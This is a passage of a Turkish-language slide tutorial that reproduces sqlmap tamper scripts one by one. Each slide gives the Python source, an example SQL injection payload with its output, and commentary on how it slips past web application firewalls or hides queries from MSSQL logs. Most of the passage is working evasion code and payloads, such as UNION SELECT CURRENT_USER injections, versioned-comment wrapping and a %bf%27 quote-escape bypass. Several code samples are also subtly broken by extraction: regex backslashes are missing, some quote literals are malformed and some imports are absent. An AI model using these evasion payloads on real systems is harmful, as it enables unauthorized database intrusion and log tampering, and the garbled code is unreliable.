  26. 26. 25)sp_passwords.py #!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGH def tamper(payload, **kwargs): """ Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs Requirement: * MSSQL Notes: * Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure * Reference: http://websec.ca/kb/sql_injection """ retVal = "" if payload: retVal = "%s%ssp_password" % (payload, "-- " if not any(_ if _ in payload else None for _ in ('#', "-- ")) else "") return retVal >>> tamper('1 AND 9227=9227-- ') >>>'1 AND 9227=9227-- sp_password' Farklı bir bypass çeşidiyle karşı karşıyayız. SP_PASSWORD (Hiding Query) Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure. SP_PASSWORD Example: ' AND 1=1--sp_password Output: -- 'sp_password' was found in the text of this event. -- The text has been replaced with this comment for security reasons. Bu tip bypasslar için http://websec.ca/kb/sql_injection linkinden hepsini tamamen okumanızı tavsiye ederim.
  27. 27. 26)versionmorekeywords.py #!/usr/bin/env python import os import re __priority__ = PRIORITY.HIGHER def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s >= 5.1.13" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): def process(match): word = match.group('word') if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: return match.group().replace(word, "/*!%s*/" % word) else: return match.group() retVal = payload if payload: retVal = re.sub(r"(?<=W)(?P<word>[A-Za-z_]+)(?=W|Z)", lambda match: process(match), retVal) retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") return retVal >>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#') >>>'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*! IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#' *Encloses each keyword with versioned MySQL comment* Mysql comment dedigi /*! KOMUT */ şeklinde düzenlemede başa ve sona gelen ifadelerdir.Böyle bol ve tekrarlı komutların oldugu durumlarda herhangibi bir komut engellenirse komutumuzun içinde birden fazla olacagından hepsine mysql comment 'i ekleyerek bypass ediyor scriptimiz.
  28. 28. 27)space2comments.py #!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += "/**/" continue elif payload[i] == ''': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: retVal += "/**/" continue retVal += payload[i] return retVal >>> tamper('SELECT id FROM users') >>>'SELECT/**/id/**/FROM/**/users' *Replaces space character (' ') with comments '/**/'* Yani bütün boşlukları dolduruyor çogu amatörü durdurabilecek bir firewalldır.Çünkü istediginiz kadar komut yazın çalışmaz.Ama aslında komutlarınızla ilgili bi durum degildir bu sadece url içindeki boşluklar firewall tarafından engellenmiştir ..
  29. 29. 28)space2dash.py #!/usr/bin/env python import random import string from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def tamper(payload, **kwargs): """ Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('n') """ retVal = "" if payload: for i in xrange(len(payload)): if payload[i].isspace(): randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) retVal += "--%s%%0A" % randomStr elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i] return retVal >>> tamper('1 AND 9227=9227') >>>'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' Yorumdan ilerleyerek ele alalım. Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('n') Boşlukları dash = tire ile degiştiriyorum,devamında ise random bir string = dize sıkıştıyorum araya, devamında ise yapacagım şey new line = boş satır bırakmak diyor. Sonuç: >>>'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
  30. 30. 29)space2hash.py #!/usr/bin/env python import os import random import string from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): retVal = "" if payload: for i in xrange(len(payload)): if payload[i].isspace(): randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) retVal += "%%23%s%%0A" % randomStr elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i] return retVal >>> tamper('1 AND 9227=9227') >>'1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227' Bir önceki işlemin benzer bir versiyonu bu. Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('n') Notes: * Useful to bypass several web application firewalls * Used during the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html
  31. 31. 30)space2morehash.py #!/usr/bin/env python __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s > 5.1.13" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): def process(match): word = match.group('word') randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: return match.group().replace(word, "%s%%23%s%%0A" % (word, randomStr)) else: return match.group() retVal = "" if payload: payload = re.sub(r"(?<=W)(?P<word>[A-Za-z_]+)(?=W|Z)", lambda match: process(match), payload) for i in xrange(len(payload)): if payload[i].isspace(): randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) retVal += "%%23%s%%0A" % randomStr elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i] return retVal >>> tamper('1 AND 9227=9227') >>>'1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227' Bir önceki kodlardan tek farkını tahmin etmissinizdir.Sadece daha fazla random string ifadeyi araya sokuşturuyor. space2hash = retVal += "%%23%s%%0A" % randomStr space2morehash= return match.group().replace(word, "%s%%23%s%%0A" % (word, randomStr))
  32. 32. 31)space2mssqlblank.py def tamper(payload, **kwargs): blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '% 0A') retVal = payload if payload: retVal = "" quote, doublequote, firstspace, end = False, False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += random.choice(blanks) continue elif payload[i] == ''': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == '#' or payload[i:i + 3] == '-- ': end = True elif payload[i] == " " and not doublequote and not quote: if end: retVal += random.choice(blanks[:-1]) else: retVal += random.choice(blanks) continue retVal += payload[i] return retVal # ASCII table: # SOH 01 start of heading # STX 02 start of text # ETX 03 end of text # EOT 04 end of transmission # ENQ 05 enquiry # ACK 06 acknowledge # BEL 07 bell # BS 08 backspace # TAB 09 horizontal tab # LF 0A new line # VT 0B vertical TAB # FF 0C new page # CR 0D carriage return # SO 0E shift out # SI 0F shift in >>> tamper('SELECT id FROM users') >>>'SELECT%0Eid%0DFROM%07users' Replaces space character (' ') with a random blank character from a valid set of alternate characters Açıklamada anlattıgı gibi araya ascıı karakterlerden "anlamsız" ifadeler sokarak bypass ediyor. Eger dikkatli ve gerçekten ögrenmek isteyen bir insansanız şunu fark etmissinizdir.Ascıı tablosunu yukarıda gösterdim.Şunu görmüstünüz %0A önceki iki scriptimizde new line yerini tutuyordu.Demek ki ascii karaktermiş bunuda bi köşeye not edelim ..
  33. 33. 32)space2mssqlhash.py #!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def tamper(payload, **kwargs): """ Replaces space character (' ') with a pound character ('#') followed by a new line ('n') Requirement: * MSSQL * MySQL Notes: * Useful to bypass several web application firewalls """ retVal = "" if payload: for i in xrange(len(payload)): if payload[i].isspace(): retVal += "%23%0A" elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i] return retVal >>> tamper('1 AND 9227=9227') >>>'1%23%0AAND%23%0A9227=9227 Replaces space character (' ') with a pound character ('#') followed by a new line ('n') Gördügünüz gibi bütün bypasslar birbirine benziyor ama hiçbiri aynı degil.Boşlukları # ile degiştiriyor. Ama diyeceksiniz ki içinde # yok.Çünkü urldecode işlemi yapılmış buda %23 'e karşılık geliyor.%0A 'yı zaten önceki script anlatımımda ögrendiginizi umut ediyorum ..
  34. 34. 33)space2mysqlblank.py def tamper(payload, **kwargs): blanks = ('%09', '%0A', '%0C', '%0D', '%0B') retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += random.choice(blanks) continue elif payload[i] == ''': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: retVal += random.choice(blanks) continue retVal += payload[i] return retVal # ASCII table: # TAB 09 horizontal TAB # LF 0A new line # FF 0C new page # CR 0D carriage return # VT 0B vertical TAB (MySQL and Microsoft SQL Server only) Bunu daha önce görmüstük.Ama mssql için ayarlanmış tabloda bypasslar gerçekleşiyordu.Bu bypass scripti sadece MySQL 'de bypass yapıyor. >>> tamper('SELECT id FROM users') >>>'SELECT%0Bid%0DFROM%0Cusers' Requirement: * MySQL Tested against: * MySQL 5.1
  35. 35. 34)space2mysqldash.py #!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): retVal = "" if payload: for i in xrange(len(payload)): if payload[i].isspace(): retVal += "--%0A" elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i] return retVal Gene sadece mysql serverlar için yazılmış özel bir script.Bu sefer bypass çeşidi farklı yapılandırılmış. >>> tamper('1 AND 9227=9227') >>'1--%0AAND--%0A9227=9227' Replaces space character (' ') with a dash comment ('--') followed by a new line ('n') Bu cümle ve benzerini bolca duydunuz birşey üzerinden bolca bypass çeşidi çıkartırlmış.Buda sqlnin geniş yapısını anlatmaya yetiyor. SQL komutlarında "--" (çift tire) yorum satırı olarak geçer.
  36. 36. 35)space2plus.py #!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += "+" continue elif payload[i] == ''': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: retVal += "+" continue retVal += payload[i] return retVal >>> tamper('SELECT id FROM users') >>> 'SELECT+id+FROM+users' Replaces space character (' ') with plus ('+') Boşlukları + ile koyarak en temel bypass çeşitlerinden birini gerçekleştiriyor. Notes: * Is this any useful? The plus get's url-encoded by sqlmap engine invalidating the query afterwards * This tamper script works against all databases Tabi bu genede bypassmı be ! Diyenler için notta düşülmüş.
  37. 37. 36)unionalltounion.py #!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload >>> tamper('-1 UNION ALL SELECT') >>>'-1 UNION SELECT' Bu scriptin işlevini bir bakışta herkez anlayabilir ama inanın bazen sadece "ALL" yüzünden bile hata alabilirisiniz.Kaldıki programlar zeki degildir eger ki içinde olmayan birşeyse anlayamaz veya devam ettiremez.Şimdi sizin gözünüzde çok basit bir script olabilir ama buraya kadar anlattıgım tüm scriptlerin birbirine baglı oldugunu düşünün ? Ayrıca bu sqlmap'ın sadece bir dosyası bunuda unutmayalım. 37)unmagicquotes.py def tamper(payload, **kwargs): retVal = payload if payload: found = False retVal = "" for i in xrange(len(payload)): if payload[i] == ''' and not found: retVal += "%bf%27" found = True else: retVal += payload[i] continue if found: _ = re.sub("(?i)s*(AND|OR)[s(]+'[^']+'s*(=|LIKE)s*'.*", "", retVal) if _ != retVal: retVal = _ retVal += "-- " return retVal >>> tamper("1' AND 1=1") >>>'1%bf%27 AND 1=1-- ' """ Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) """ """ Reference: * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string """ #Referans linklerini incelemeniz #gerekiyor.
  38. 38. 38)versionedkeywords.py #!/usr/bin/env python import os import re from lib.core.common import singleTimeWarnMessage from lib.core.data import kb from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHER def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): def process(match): word = match.group('word') if word.upper() in kb.keywords: return match.group().replace(word, "/*!%s*/" % word) else: return match.group() retVal = payload if payload: retVal = re.sub(r"(?<=W)(?P<word>[A-Za-z_]+)(?=[^w(]|Z)", lambda match: process(match), retVal) retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") return retVal Sadece MySQL serverlar için özel bypass scriptidir. >>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#') >>>'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*! CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#' Aslında scriptler birbirine benzesede dikkatli incelerseniz hiçbirinin aynı olmadıgına emin olabilirsiniz.
  39. 39. 39)space2randomblank.py #!/usr/bin/env python import random from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): # ASCII table: # TAB 09 horizontal TAB # LF 0A new line # FF 0C new page # CR 0D carriage return blanks = ("%09", "%0A", "%0C", "%0D") retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += random.choice(blanks) continue elif payload[i] == ''': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == ' ' and not doublequote and not quote: retVal += random.choice(blanks) continue retVal += payload[i] return retVal """ Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 """ >>> tamper('SELECT id FROM users') >>>'SELECT%0Did%0DFROM%0Ausers' #Her bypass çeşidi test edilmiştir. #Gördügünüz gibi bu scriptlerin hepsi sqlmap'a #tamamen baglıdır. #39 farklı bypass yöntemini gördük artık sqlmapın #nasıl bypass yaptıgını tamamen biliyorsunuz.
  40. 40. THE END

×